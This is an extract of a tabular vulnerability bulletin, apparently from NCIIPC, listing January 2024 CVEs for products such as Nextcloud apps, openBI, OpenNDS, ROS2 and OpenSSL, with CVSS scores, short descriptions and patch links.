Affected Version(s): From (including) 2.2.0 Up to (excluding) 2.3.4					
Missing Authentication for Critical Function	18-Jan-2024	9.8	Nextcloud Global Site Selector is a tool which allows you to run multiple small Nextcloud instances and redirect users to the right server. A problem in the password verification	https://github.com/nextcloud/globalsiteselector/commit/ab5da57190d5bbc79079ce4109b6bcccccd893ee, https://github.com/nextcloud/security-advisories/secu	A-NEX-GLOB-140224/824

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			method allows an attacker to authenticate as another user. It is recommended that the Nextcloud Global Site Selector is upgraded to version 1.4.1, 2.1.2, 2.3.4 or 2.4.5. There are no known workarounds for this issue. **CVE ID : CVE-2024-22212**	rity/advisories/GHSA-vj5q-f63m-wp77	
Affected Version(s): From (including) 2.4.0 Up to (excluding) 2.4.5					
Missing Authentication for Critical Function	18-Jan-2024	9.8	Nextcloud Global Site Selector is a tool which allows you to run multiple small Nextcloud instances and redirect users to the right server. A problem in the password verification method allows an attacker to authenticate as another user. It is recommended that the Nextcloud Global Site Selector is upgraded to version 1.4.1, 2.1.2, 2.3.4 or 2.4.5. There are no known workarounds for this issue.	https://github.com/nextcloud/globalsiteselector/commit/ab5da57190d5bbc79079ce4109b6bcccccd893ee, https://github.com/nextcloud/security-advisories/security/advisories/GHSA-vj5q-f63m-wp77	A-NEX-GLOB-140224/825

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-22212		
Product: guests					
Affected Version(s): 3.0.0					
Improper Preservation of Permissions	18-Jan-2024	5.4	Nextcloud guests app is a utility to create guest users which can only see files shared with them. In affected versions users were able to load the first page of apps they were actually not allowed to access. Depending on the selection of apps installed this may present a permissions bypass. It is recommended that the Guests app is upgraded to 2.4.1, 2.5.1 or 3.0.1. There are no known workarounds for this vulnerability. **CVE ID : CVE-2024-22402**	https://github.com/nextcloud/guests/pull/1082, https://github.com/nextcloud/security-advisories/security/advisories/GHSA-v3qw-7vgv-2fxj	A-NEX-GUES-140224/826
Improper Preservation of Permissions	18-Jan-2024	4.3	Nextcloud guests app is a utility to create guest users which can only see files shared with them. In affected versions users could change the allowed list of apps, allowing	https://github.com/nextcloud/guests/pull/1082, https://github.com/nextcloud/security-advisories/security/advisories/	A-NEX-GUES-140224/827

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			them to use apps that were not intended to be used. It is recommended that the Guests app is upgraded to 2.4.1, 2.5.1 or 3.0.1. There are no known workarounds for this vulnerability. **CVE ID : CVE-2024-22401**	GHSA-wr87-hx3w-29hh	
Affected Version(s): * Up to (excluding) 2.4.1					
Improper Preservation of Permissions	18-Jan-2024	5.4	Nextcloud guests app is a utility to create guest users which can only see files shared with them. In affected versions users were able to load the first page of apps they were actually not allowed to access. Depending on the selection of apps installed this may present a permissions bypass. It is recommended that the Guests app is upgraded to 2.4.1, 2.5.1 or 3.0.1. There are no known workarounds for this vulnerability.	https://github.com/nextcloud/guests/pull/1082, https://github.com/nextcloud/security-advisories/security/advisories/GHSA-v3qw-7vgv-2fxj	A-NEX-GUES-140224/828

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-22402		
Improper Preservation of Permissions	18-Jan-2024	4.3	Nextcloud guests app is a utility to create guest users which can only see files shared with them. In affected versions users could change the allowed list of apps, allowing them to use apps that were not intended to be used. It is recommended that the Guests app is upgraded to 2.4.1, 2.5.1 or 3.0.1. There are no known workarounds for this vulnerability. **CVE ID : CVE-2024-22401**	https://github.com/nextcloud/guests/pull/1082, https://github.com/nextcloud/security-advisories/security/advisories/GHSA-wr87-hx3w-29hh	A-NEX-GUES-140224/829
Affected Version(s): 2.5.0					
Improper Preservation of Permissions	18-Jan-2024	5.4	Nextcloud guests app is a utility to create guest users which can only see files shared with them. In affected versions users were able to load the first page of apps they were actually not allowed to access. Depending on the selection of apps installed this may present a	https://github.com/nextcloud/guests/pull/1082, https://github.com/nextcloud/security-advisories/security/advisories/GHSA-v3qw-7vgv-2fxj	A-NEX-GUES-140224/830

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			permissions bypass. It is recommended that the Guests app is upgraded to 2.4.1, 2.5.1 or 3.0.1. There are no known workarounds for this vulnerability. **CVE ID : CVE-2024-22402**		
Improper Preservation of Permissions	18-Jan-2024	4.3	Nextcloud guests app is a utility to create guest users which can only see files shared with them. In affected versions users could change the allowed list of apps, allowing them to use apps that were not intended to be used. It is recommended that the Guests app is upgraded to 2.4.1, 2.5.1 or 3.0.1. There are no known workarounds for this vulnerability. **CVE ID : CVE-2024-22401**	https://github.com/nextcloud/guests/pull/1082, https://github.com/nextcloud/security-advisories/security/advisories/GHSA-wr87-hx3w-29hh	A-NEX-GUES-140224/831
Product: nextcloud_server					
Affected Version(s): * Up to (excluding) 28.0.0					
Insufficient Session Expiration	18-Jan-2024	3.7	Nextcloud server is a self hosted personal cloud system. In affected	https://github.com/nextcloud/security-advisories/secu	A-NEX-NEXT-140224/832

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			versions OAuth codes did not expire. When an attacker would get access to an authorization code they could authenticate at any time using the code. As of version 28.0.0 OAuth codes are invalidated after 10 minutes and will no longer be authenticated. To exploit this vulnerability an attacker would need to intercept an OAuth code from a user session. It is recommended that the Nextcloud Server is upgraded to 28.0.0. There are no known workarounds for this vulnerability. **CVE ID : CVE-2024-22403**	rity/advisories/GHSA-wppc-f5g8-vx36, https://github.com/nextcloud/server/pull/40766	
Product: sso_\&_saml_authentication					
Affected Version(s): 6.0.0					
URL Redirection to Untrusted Site ('Open Redirect')	18-Jan-2024	6.1	Nextcloud User Saml is an app for authenticating Nextcloud users using SAML. In affected versions users can be given a link to the Nextcloud server and end up on a	https://github.com/nextcloud/security-advisories/security/advisories/GHSA-622q-xhfr-xmv7, https://github.com/nextcloud/user_saml/com	A-NEX-SSO_-140224/833

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			uncontrolled thirdparty server. It is recommended that the User Saml app is upgraded to version 5.1.5, 5.2.5, or 6.0.1. There are no known workarounds for this issue. **CVE ID : CVE-2024-22400**	mit/b184304a476deeba36e92b70562d5de7c2f85f8a, https://github.com/nextcloud/user_saml/pull/788	
Affected Version(s): From (including) 5.0.0 Up to (excluding) 5.1.5					
URL Redirection to Untrusted Site ('Open Redirect')	18-Jan-2024	6.1	Nextcloud User Saml is an app for authenticating Nextcloud users using SAML. In affected versions users can be given a link to the Nextcloud server and end up on a uncontrolled thirdparty server. It is recommended that the User Saml app is upgraded to version 5.1.5, 5.2.5, or 6.0.1. There are no known workarounds for this issue. **CVE ID : CVE-2024-22400**	https://github.com/nextcloud/security-advisories/security/advisories/GHSA-622q-xhfr-xmv7, https://github.com/nextcloud/user_saml/commit/b184304a476deeba36e92b70562d5de7c2f85f8a, https://github.com/nextcloud/user_saml/pull/788	A-NEX-SSO_-140224/834
Affected Version(s): From (including) 5.2.0 Up to (excluding) 5.2.5					
URL Redirection to Untrusted Site ('Open Redirect')	18-Jan-2024	6.1	Nextcloud User Saml is an app for authenticating Nextcloud users using SAML. In affected versions	https://github.com/nextcloud/security-advisories/security/advisories/GHSA-622q-	A-NEX-SSO_-140224/835

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			users can be given a link to the Nextcloud server and end up on a uncontrolled thirdparty server. It is recommended that the User Saml app is upgraded to version 5.1.5, 5.2.5, or 6.0.1. There are no known workarounds for this issue. **CVE ID : CVE-2024-22400**	xhfr-xmv7, https://github.com/nextcloud/user_saml/commit/b184304a476deeba36e92b70562d5de7c2f85f8a, https://github.com/nextcloud/user_saml/pull/788	
Product: zipper					
Affected Version(s): * Up to (excluding) 1.2.1					
Improper Preservation of Permissions	18-Jan-2024	4.3	Nextcloud files Zip app is a tool to create zip archives from one or multiple files from within Nextcloud. In affected versions users can download "view-only" files by zipping the complete folder. It is recommended that the Files ZIP app is upgraded to 1.2.1, 1.4.1, or 1.5.0. Users unable to upgrade should disable the file zip app. **CVE ID : CVE-2024-22404**	https://github.com/nextcloud/files_zip/commit/43204539d517a13e945b90652718e2a213f46820, https://github.com/nextcloud/security-advisories/security/advisories/GHSA-vhj3-mch4-67fq	A-NEX-ZIPP-140224/836
Affected Version(s): 1.4.0					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Preservation of Permissions	18-Jan-2024	4.3	Nextcloud files Zip app is a tool to create zip archives from one or multiple files from within Nextcloud. In affected versions users can download "view-only" files by zipping the complete folder. It is recommended that the Files ZIP app is upgraded to 1.2.1, 1.4.1, or 1.5.0. Users unable to upgrade should disable the file zip app. **CVE ID : CVE-2024-22404**	https://github.com/nextcloud/files_zip/commit/43204539d517a13e945b90652718e2a213f46820, https://github.com/nextcloud/security-advisories/security/advisories/GHSA-vhj3-mch4-67fq	A-NEX-ZIPP-140224/837
Vendor: Nextendweb					
Product: smart_slider_3					
Affected Version(s): * Up to (excluding) 3.5.1.11					
Deserialization of Untrusted Data	19-Jan-2024	8.8	Deserialization of Untrusted Data vulnerability in Nextend Smart Slider 3.This issue affects Smart Slider 3: from n/a through 3.5.1.9. **CVE ID : CVE-2022-45845**	N/A	A-NEX-SMAR-140224/838
Vendor: nickmomrik					
Product: simple_post					
Affected Version(s): * Up to (including) 1.1					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	5.4	The Simple Post WordPress plugin through 1.1 does not sanitize user input when an authenticated user Text value, then it does not escape these values when outputting to the browser leading to an Authenticated Stored XSS Cross-Site Scripting issue. **CVE ID : CVE-2021-24567**	N/A	A-NIC-SIMP-140224/839
Vendor: ninjateam					
Product: fastdup					
Affected Version(s): * Up to (excluding) 2.2					
N/A	16-Jan-2024	5.3	The FastDup WordPress plugin before 2.2 does not prevent directory listing in sensitive directories containing export files. **CVE ID : CVE-2023-6592**	N/A	A-NIN-FAST-140224/840
Vendor: niushop					
Product: b2b2c_multi-business					
Affected Version(s): 5.0					
Unrestricted Upload of File with Dangerous Type	26-Jan-2024	9.8	A vulnerability was found in Niushop B2B2C V5 and classified as critical. Affected by this issue is some unknown functionality of the file	N/A	A-NIU-B2B2-140224/841

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			\app\model\Upload.php. The manipulation leads to unrestricted upload. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252140. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0933**		
Vendor: njtech					
Product: greencms					
Affected Version(s): 2.3					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	29-Jan-2024	5.4	A stored cross-site scripting (XSS) vulnerability in /install.php?m=install&c=index&a=step3 of GreenCMS v2.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. **CVE ID : CVE-2024-22570**	N/A	A-NJT-GREE-140224/842
Vendor: notaryproject					
Product: notation					
Affected Version(s): *					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Operation on a Resource after Expiration or Release	19-Jan-2024	6.8	The Notary Project is a set of specifications and tools intended to provide a cross-industry standard for securing software supply chains by using authentic container images and other OCI artifacts. An external actor with control of a compromised container registry can provide outdated versions of OCI artifacts, such as Images. This could lead artifact consumers with relaxed trust policies (such as `permissive` instead of `strict`) to potentially use artifacts with signatures that are no longer valid, making them susceptible to any exploits those artifacts may contain. In Notary Project, an artifact publisher can control the validity period of artifact by specifying signature expiry during the signing process. Using shorter signature	https://github.com/notaryproject/specifications/commit/cdabdd1042de2999c685fa5d422a785ded9c983a, https://github.com/notaryproject/specifications/security/advisories/GHSA-57wx-m636-g3g8	A-NOT-NOTA-140224/843

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			validity periods along with processes to periodically resign artifacts, allows artifact producers to ensure that their consumers will only receive up-to-date artifacts. Artifact consumers should correspondingly use a `strict` or equivalent trust policy that enforces signature expiry. Together these steps enable use of up-to-date artifacts and safeguard against rollback attack in the event of registry compromise. The Notary Project offers various signature validation options such as `permissive`, `audit` and `skip` to support various scenarios. These scenarios includes 1) situations demanding urgent workload deployment, necessitating the bypassing of expired or revoked signatures; 2) auditing of artifacts		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			lacking signatures without interrupting workload; and 3) skipping of verification for specific images that might have undergone validation through alternative mechanisms. Additionally, the Notary Project supports revocation to ensure the signature freshness. Artifact publishers can sign with short-lived certificates and revoke older certificates when necessary. This revocation serves as a signal to inform artifact consumers that the corresponding unexpired artifact is no longer approved by the publisher. This enables the artifact publisher to control the validity of the signature independently of their ability to manage artifacts in a compromised registry.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-23332		
Vendor: notion					
Product: notion					
Affected Version(s): * Up to (including) 3.1.0					
N/A	28-Jan-2024	9.8	An issue in Notion for macOS version 3.1.0 and before, allows remote attackers to execute arbitrary code via the RunAsNode and enableNodeClilnspectArguments components. **CVE ID : CVE-2024-23743**	N/A	A-NOT-NOTI-140224/844
Vendor: nsasoft					
Product: product_key_explorer					
Affected Version(s): 4.0.9					
Out-of-bounds Write	21-Jan-2024	5.5	A vulnerability has been found in Nsasoft Product Key Explorer 4.0.9 and classified as problematic. Affected by this vulnerability is an unknown functionality of the component Registration Handler. The manipulation of the argument Name/Key leads to memory corruption. An attack has to be approached locally.	N/A	A-NSA-PROD-140224/845

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251671. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0771**		
Product: sharealarmpro					
Affected Version(s): 2.1.4					
Out-of-bounds Write	22-Jan-2024	5.5	A vulnerability was found in Nsasoft ShareAlarmPro 2.1.4 and classified as problematic. Affected by this issue is some unknown functionality of the component Registration Handler. The manipulation of the argument Name/Key leads to memory corruption. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is	N/A	A-NSA-SHAR-140224/846

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			VDB-251672. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0772**		
Vendor: Nvidia					
Product: bluefield_bmc					
Affected Version(s): 2.8.2-46					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Jan-2024	7.2	NVIDIA Bluefield 2 and Bluefield 3 DPU BMC contains a vulnerability in ipmitool, where a root user may cause code injection by a network call. A successful exploit of this vulnerability may lead to code execution on the OS. **CVE ID : CVE-2023-31037**	https://nvidia.custhelp.com/app/answers/detail/a_id/5511	A-NVI-BLUE-140224/847
Affected Version(s): 23.04					
Improper Neutralization of Special Elements used in an OS Command	24-Jan-2024	7.2	NVIDIA Bluefield 2 and Bluefield 3 DPU BMC contains a vulnerability in ipmitool, where a root user may cause code	https://nvidia.custhelp.com/app/answers/detail/a_id/5511	A-NVI-BLUE-140224/848

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('OS Command Injection')			injection by a network call. A successful exploit of this vulnerability may lead to code execution on the OS. **CVE ID : CVE-2023-31037**		
Affected Version(s): 23.07					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Jan-2024	7.2	NVIDIA Bluefield 2 and Bluefield 3 DPU BMC contains a vulnerability in ipmitool, where a root user may cause code injection by a network call. A successful exploit of this vulnerability may lead to code execution on the OS. **CVE ID : CVE-2023-31037**	https://nvidia.custhelp.com/app/answers/detail/a_id/5511	A-NVI-BLUE-140224/849
Affected Version(s): 23.09					
Improper Neutralization of Special Elements used in an OS Command	24-Jan-2024	7.2	NVIDIA Bluefield 2 and Bluefield 3 DPU BMC contains a vulnerability in ipmitool, where a root user may cause code	https://nvidia.custhelp.com/app/answers/detail/a_id/5511	A-NVI-BLUE-140224/850

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('OS Command Injection')			injection by a network call. A successful exploit of this vulnerability may lead to code execution on the OS. **CVE ID : CVE-2023-31037**		
Vendor: obg					
Product: ark_wysiwyg_comment_editor					
Affected Version(s): * Up to (including) 2.15.6					
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	16-Jan-2024	5.3	The ark-commenteditor WordPress plugin through 2.15.6 does not properly sanitise or encode the comments when in Source editor, allowing attackers to inject an iFrame in the page and thus load arbitrary content from any page to the comment section **CVE ID : CVE-2021-4227**	N/A	A-OBG-ARK_-140224/851
Vendor: ofcms_project					
Product: ofcms					
Affected Version(s): 1.1.4					
Improper Neutralization of Input During	16-Jan-2024	5.4	Cross Site Scripting vulnerability in OFCMS v.1.14 allows a remote attacker to obtain	N/A	A-OFC-OFCM-140224/852

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Web Page Generation ('Cross-site Scripting')			sensitive information via a crafted payload to the title addition component. **CVE ID : CVE-2023-51807**		
Vendor: Omron					
Product: sysmac_studio					
Affected Version(s): * Up to (excluding) 1.54.0					
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	22-Jan-2024	7.8	Project files may contain malicious contents which the software will use to create files on the filesystem. This allows directory traversal and overwriting files with the privileges of the logged-in user. **CVE ID : CVE-2022-45792**	N/A	A-OMR-SYSM-140224/853
Vendor: online_admission_system_project					
Product: online_admission_system					
Affected Version(s): 1.0					
Unrestricted Upload of File with Dangerous Type	22-Jan-2024	9.8	A vulnerability was found in Project Worlds Online Admission System 1.0 and classified as critical. This issue affects some unknown processing of the file documents.php. The manipulation leads to unrestricted upload. The attack	N/A	A-ONL-ONLI-140224/854

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251699. **CVE ID : CVE-2024-0783**		
Vendor: online_railway_reservation_system_project					
Product: online_railway_reservation_system					
Affected Version(s): 1.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	22-Jan-2024	6.1	A vulnerability has been found in CodeAstro Online Railway Reservation System 1.0 and classified as problematic. This vulnerability affects unknown code of the file pass-profile.php. The manipulation of the argument First Name/Last Name/User Name leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251698 is the identifier assigned	N/A	A-ONL-ONLI-140224/855

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			to this vulnerability. **CVE ID : CVE-2024-0782**		
Vendor: openbi					
Product: openbi					
Affected Version(s): * Up to (including) 1.0.8					
Unrestricted Upload of File with Dangerous Type	31-Jan-2024	9.8	A vulnerability, which was classified as critical, was found in openBI up to 1.0.8. This affects the function uploadUnity of the file /application/index/controller/Unity.php. The manipulation of the argument file leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252471. **CVE ID : CVE-2024-1113**	N/A	A-OPE-OPEN-140224/856
N/A	31-Jan-2024	9.8	A vulnerability has been found in openBI up to 1.0.8 and classified as critical. This vulnerability	N/A	A-OPE-OPEN-140224/857

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			affects the function dlfile of the file /application/index /controller/Screen. php. The manipulation of the argument fileUrl leads to improper access controls. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252472. **CVE ID : CVE-2024-1114**		
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	31-Jan-2024	9.8	A vulnerability was found in openBI up to 1.0.8 and classified as critical. This issue affects the function dlfile of the file /application/webs ocket/controller/S etting.php. The manipulation of the argument phpPath leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252473 was	N/A	A-OPE-OPEN-140224/858

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			assigned to this vulnerability. **CVE ID : CVE-2024-1115**		
Unrestricted Upload of File with Dangerous Type	31-Jan-2024	9.8	A vulnerability was found in openBI up to 1.0.8. It has been classified as critical. Affected is the function index of the file /application/plugins/controller/Upload.php. The manipulation leads to unrestricted upload. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-252474 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-1116**	N/A	A-OPE-OPEN-140224/859
Improper Control of Generation of Code ('Code Injection')	31-Jan-2024	9.8	A vulnerability was found in openBI up to 1.0.8. It has been declared as critical. Affected by this vulnerability is the function index of the file /application/index/controller/Screen.php. The manipulation of the argument fileurl leads to code	N/A	A-OPE-OPEN-140224/860

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252475. **CVE ID : CVE-2024-1117**		
Vendor: openfga					
Product: openfga					
Affected Version(s): * Up to (excluding) 1.4.3					
Missing Release of Memory after Effective Lifetime	26-Jan-2024	6.5	OpenFGA, an authorization/permission engine, is vulnerable to a denial of service attack in versions prior to 1.4.3. In some scenarios that depend on the model and tuples used, a call to `ListObjects` may not release memory properly. So when a sufficiently high number of those calls are executed, the OpenFGA server can create an `out of memory` error and terminate. Version 1.4.3 contains a patch for this issue.	https://github.com/openfga/openfga/commit/908ac85c8b7769c8042cca31886df8db01976c39	A-OPE-OPEN-140224/861

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-23820		
Vendor: openlibraryfoundation					
Product: mod-data-export-spring					
Affected Version(s): * Up to (excluding) 1.5.4					
Use of Hard-coded Credentials	19-Jan-2024	9.1	Hard-coded credentials in FOLIO mod-data-export-spring versions before 1.5.4 and from 2.0.0 to 2.0.2 allows unauthenticated users to access critical APIs, modify user data, modify configurations including single-sign-on, and manipulate fees/fines. **CVE ID : CVE-2024-23687**	https://github.com/folio-org/mod-data-export-spring/commit/93aff4566bff59e30f4121b5a2bda5b0b508a446, https://github.com/folio-org/mod-data-export-spring/security/advisories/GHSA-vf78-3q9f-92g3, https://wiki.folio.org/x/hbMMBw	A-OPE-MOD--140224/862
Affected Version(s): From (including) 2.0.0 Up to (excluding) 2.0.2					
Use of Hard-coded Credentials	19-Jan-2024	9.1	Hard-coded credentials in FOLIO mod-data-export-spring versions before 1.5.4 and from 2.0.0 to 2.0.2 allows unauthenticated users to access critical APIs, modify user data, modify	https://github.com/folio-org/mod-data-export-spring/commit/93aff4566bff59e30f4121b5a2bda5b0b508a446, https://github.com/folio-org/mod-data-export-	A-OPE-MOD--140224/863

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			configurations including single-sign-on, and manipulate fees/fines. **CVE ID : CVE-2024-23687**	spring/security/advisories/GHSA-vf78-3q9f-92g3, https://wiki.folio.org/x/hbMMBw	
Product: mod-remote-storage					
Affected Version(s): * Up to (excluding) 1.7.2					
Use of Hard-coded Credentials	19-Jan-2024	5.3	Hard-coded credentials in mod-remote-storage versions under 1.7.2 and from 2.0.0 to 2.0.3 allows unauthorized users to gain read access to mod-inventory-storage records including instances, holdings, items, contributor-types, and identifier-types. **CVE ID : CVE-2024-23685**	https://github.com/folio-org/mod-remote-storage/commit/57df495f76e9aa5be9ce7ce3a65f89b6dbcbc13b, https://github.com/folio-org/mod-remote-storage/security/advisories/GHSA-m8v7-469p-5x89, https://wiki.folio.org/x/hbMMBw	A-OPE-MOD--140224/864
Affected Version(s): From (including) 2.0.0 Up to (excluding) 2.0.3					
Use of Hard-coded Credentials	19-Jan-2024	5.3	Hard-coded credentials in mod-remote-storage versions under 1.7.2 and from 2.0.0 to 2.0.3 allows	https://github.com/folio-org/mod-remote-storage/commit/57df495f76e9aa5be9ce7ce3a	A-OPE-MOD--140224/865

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unauthorized users to gain read access to mod-inventory-storage records including instances, holdings, items, contributor-types, and identifier-types. **CVE ID : CVE-2024-23685**	65f89b6dbcbc13b, https://github.com/folio-org/mod-remote-storage/security/advisories/GHSA-m8v7-469p-5x89, https://wiki.folio.org/x/hbMMBw	
Vendor: opennds					
Product: opennds					
Affected Version(s): * Up to (excluding) 10.1.3					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	26-Jan-2024	9.8	An issue was discovered in OpenNDS before 10.1.3. It fails to sanitize the network interface name entry in the configuration file, allowing attackers that have direct or indirect access to this file to execute arbitrary OS commands. **CVE ID : CVE-2023-38317**	N/A	A-OPE-OPEN-140224/866
Improper Neutralization of Special Elements used in an OS Command	26-Jan-2024	9.8	An issue was discovered in OpenNDS before 10.1.3. It fails to sanitize the gateway FQDN entry in the configuration file,	N/A	A-OPE-OPEN-140224/867

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('OS Command Injection')			allowing attackers that have direct or indirect access to this file to execute arbitrary OS commands. **CVE ID : CVE-2023-38318**		
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	26-Jan-2024	9.8	An issue was discovered in OpenNDS before 10.1.3. It fails to sanitize the FAS key entry in the configuration file, allowing attackers that have direct or indirect access to this file to execute arbitrary OS commands. **CVE ID : CVE-2023-38319**	N/A	A-OPE-OPEN-140224/868
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	26-Jan-2024	9.8	An issue was discovered in OpenNDS before 10.1.3. It fails to sanitize the status path script entry in the configuration file, allowing attackers that have direct or indirect access to this file to execute arbitrary OS commands. **CVE ID : CVE-2023-38323**	N/A	A-OPE-OPEN-140224/869
Vendor: openrobotics					
Product: robot_operating_system					
Affected Version(s): 2					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Use of Hard-coded Credentials	23-Jan-2024	9.8	An issue in the default configurations of ROS2 Foxy Fitzroy ROS_VERSION=2 and ROS_PYTHON_VERSION=3 allows unauthenticated attackers to authenticate using default credentials. **CVE ID : CVE-2023-51200**	N/A	A-OPE-ROBO-140224/870
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	23-Jan-2024	9.8	Buffer Overflow vulnerability in ROS2 Foxy Fitzroy ROS_VERSION=2 and ROS_PYTHON_VERSION=3 allows attackers to run arbitrary code or cause a denial of service via improper handling of arrays or strings. **CVE ID : CVE-2023-51199**	N/A	A-OPE-ROBO-140224/871
Unrestricted Upload of File with Dangerous Type	23-Jan-2024	9.8	An Arbitrary File Upload vulnerability in ROS2 Foxy Fitzroy ROS_VERSION=2 and ROS_PYTHON_VERSION=3 allows attackers to run arbitrary code and cause other impacts via upload of crafted file.	N/A	A-OPE-ROBO-140224/872

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-51208		
Cleartext Transmission of Sensitive Information	23-Jan-2024	5.9	Cleartext Transmission issue in ROS2 (Robot Operating System 2) Foxy Fitzroy, with ROS_VERSION=2 and ROS_PYTHON_VERSION=3 allows attackers to access sensitive information via a man-in-the-middle attack. **CVE ID : CVE-2023-51201**	N/A	A-OPE-ROBO-140224/873
Vendor: Openssl					
Product: openssl					
Affected Version(s): 3.2.0					
N/A	26-Jan-2024	5.5	Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL to crash leading to a potential Denial of Service attack Impact summary: Applications loading files in the PKCS12 format from untrusted sources might terminate abruptly.	https://github.com/openssl/openssl/commit/09df4395b5071217b76dc7d3d2e630eb8c5a79c2, https://github.com/openssl/openssl/commit/775acfdbd0c6af9ac855f34969cdab0c0c90844a, https://github.com/openssl/openssl/commit/d135eeab8a5dbf72b3da5240bab9ddb7678dbd2c	A-OPE-OPEN-140224/874

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			A file in PKCS12 format can contain certificates and keys and may come from an untrusted source. The PKCS12 specification allows certain fields to be NULL, but OpenSSL does not correctly check for this case. This can lead to a NULL pointer dereference that results in OpenSSL crashing. If an application processes PKCS12 files from an untrusted source using the OpenSSL APIs then that application will be vulnerable to this issue. OpenSSL APIs that are vulnerable to this are: PKCS12_parse(), PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes()		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			and PKCS12_newpass() . We have also fixed a similar issue in SMIME_write_PKCS 7(). However since this function is related to writing data we do not consider it security significant. The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue. **CVE ID : CVE-2024-0727**		
Affected Version(s): From (including) 1.0.2 Up to (excluding) 1.0.2zj					
N/A	26-Jan-2024	5.5	Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL to crash leading to a potential Denial of Service attack Impact summary: Applications loading files in the PKCS12 format from untrusted sources might terminate abruptly.	https://github.com/openssl/openssl/commit/09df4395b5071217b76dc7d3d2e630eb8c5a79c2 , https://github.com/openssl/openssl/commit/775acfdbd0c6af9ac855f34969cdab0c0c90844a, https://github.com/openssl/openssl/commit/d135eeab8a5dbf72b3da5240bab9ddb7678dbd2c	A-OPE-OPEN-140224/875

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
